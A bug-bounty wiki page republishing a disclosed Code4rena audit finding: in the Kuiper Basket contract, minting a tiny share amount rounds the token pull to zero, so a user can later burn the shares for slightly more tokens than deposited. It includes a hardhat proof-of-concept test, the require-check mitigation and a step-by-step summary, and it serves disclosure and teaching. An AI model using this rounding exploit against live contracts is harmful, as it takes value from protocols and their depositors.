Skip to content
Business logic Audit finding Intermediate

User can mint miniscule amount of shares, later withdraw miniscule more than deposited

When a user mints a very small number of shares, the amount of tokens to pull from the user can round down to zero, so no tokens are taken but shares are still created. By repeating this, the user can later burn the shares and end up with slightly more tokens than they started with.

kenzo Follow

Originally disclosed on Code4rena

Submitted by kenzo

If a user is minting small amount of shares (like 1 - amount depends on baskets weights), the calculated amount of tokens to pull from the user can be less than 1, and therefore no tokens will be pulled. However the shares would still be minted. If the user does this a few times, he could then withdraw the total minted shares and end up with more tokens than he started with - although a miniscule amount.

Impact

User can end up with more tokens than he started with. However, I didn’t find a way for the user to get an amount to make this a feasible attack. He gets dust. However he can still get more than he deserves. If for some reason the basket weights grow in a substantial amount, this could give the user more tokens that he didn’t pay for.

Proof of Concept

Add the following test to Basket.test.js. The user starts with 5e18 UNI, 1e18 COMP, 1e18 AAVE, and ends with 5e18+4, 1e18+4, 1e18+4.

it("should give to user more than he deserves", async () => {
    await UNI.connect(owner).mint(ethers.BigNumber.from(UNI_WEIGHT).mul(1000000));
    await COMP.connect(owner).mint(ethers.BigNumber.from(COMP_WEIGHT).mul(1000000));
    await AAVE.connect(owner).mint(ethers.BigNumber.from(AAVE_WEIGHT).mul(1000000));

    await UNI.connect(owner).approve(basket.address, ethers.BigNumber.from(UNI_WEIGHT).mul(1000000));
    await COMP.connect(owner).approve(basket.address, ethers.BigNumber.from(COMP_WEIGHT).mul(1000000));
    await AAVE.connect(owner).approve(basket.address, ethers.BigNumber.from(AAVE_WEIGHT).mul(1000000));

    console.log("User balance before minting:");
    console.log("UNI balance: " + (await UNI.balanceOf(owner.address)).toString());
    console.log("COMP balance: " + (await COMP.balanceOf(owner.address)).toString());
    console.log("AAVE balance: " + (await AAVE.balanceOf(owner.address)).toString());

    await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1));
    await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1));
    await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1));
    await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1));
    await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1));

    console.log("\nUser balance after minting 1 share 5 times:");
    console.log("UNI balance: " + (await UNI.balanceOf(owner.address)).toString());
    console.log("COMP balance: " + (await COMP.balanceOf(owner.address)).toString());
    console.log("AAVE balance: " + (await AAVE.balanceOf(owner.address)).toString());

    await basket.connect(owner).burn(await basket.balanceOf(owner.address));
    console.log("\nUser balance after burning all shares:");
    console.log("UNI balance: " + (await UNI.balanceOf(owner.address)).toString());
    console.log("COMP balance: " + (await COMP.balanceOf(owner.address)).toString());
    console.log("AAVE balance: " + (await AAVE.balanceOf(owner.address)).toString());
});

Tools Used

Manual analysis, hardhat.

Recommended Mitigation Steps

Add a check to pullUnderlying:

require(tokenAmount > 0);

I think it makes sense that if a user is trying to mint an amount so small that no tokens could be pulled from him, the mint request should be denied. Per my tests, for an initial ibRatio, this number (the minimal amount of shares that can be minted) is 2 for weights in magnitude of 1e18, and if the weights are eg. smaller by 100, this number will be 101.

frank-beard (Kuiper) confirmed

Alex the Entreprenerd (judge) commented:

Great find, because this finding shows a clear POC of how to extract value from the system, I agree with medium severity

The original report as published on Code4rena, by kenzo. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The user can end up with more tokens than they started with, but only a minuscule amount (dust); the attacker did not find a way to make this a feasible large-scale attack.

What the attacker needed

A user account with tokens; ability to call mint with a small share amount

The fix

The mint function should be fixed to require that the calculated token amount is greater than zero, rejecting mints that would pull no tokens.

How it was found

  1. Set up the test environment with the user holding initial token balances.
  2. Call the basket's mint function with a very small share amount (1) multiple times.
  3. Observe that no tokens are deducted from the user's balance.
  4. Burn all the minted shares to withdraw tokens.
  5. Check that the user's final token balances are slightly higher than the initial balances.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a smart contract bug where tiny transactions can be exploited. When you buy a very small number of shares, the system calculates how many tokens to take from you, but if that number is less than one, it takes nothing. You still get the shares, so you can later sell them back for a tiny profit.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by kenzo

View all

53 more disclosed reports, best first.

More from Kuiper contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.